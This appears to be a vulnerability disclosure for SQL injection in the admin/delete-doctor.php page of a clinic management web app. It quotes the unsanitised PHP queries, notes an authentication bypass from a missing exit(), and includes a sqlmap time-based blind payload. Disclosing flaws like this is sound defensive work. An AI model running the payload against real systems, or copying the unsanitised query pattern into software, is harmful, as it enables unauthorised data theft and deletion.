[Security] SQL Injection in admin/delete-doctor.php via id parameter

[wyh533512-dev]

Summary

A SQL Injection vulnerability exists in admin/delete-doctor.php via the id GET parameter. The parameter is used in both SELECT and DELETE queries without sanitization. Auth check is bypassable (missing exit() after redirect).

Vulnerable Code

// admin/delete-doctor.php, lines 18-22
$id=$_GET["id"];
$result001= $database->query("select * from doctor where docid=$id;");
$email=($result001->fetch_assoc())["docemail"];
$sql= $database->query("delete from webuser where email='$email';");
$sql= $database->query("delete from doctor where docemail='$email';");

Proof of Concept

sqlmap verification:

Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 9767 FROM (SELECT(SLEEP(3)))Zyuz)

Impact

• Unauthenticated SQL Injection
• Chained deletion: extracts doctor email via SELECT, then deletes from both webuser and doctor tables
• Complete database compromise via time-based blind extraction

References

• CWE-89
• CWE-698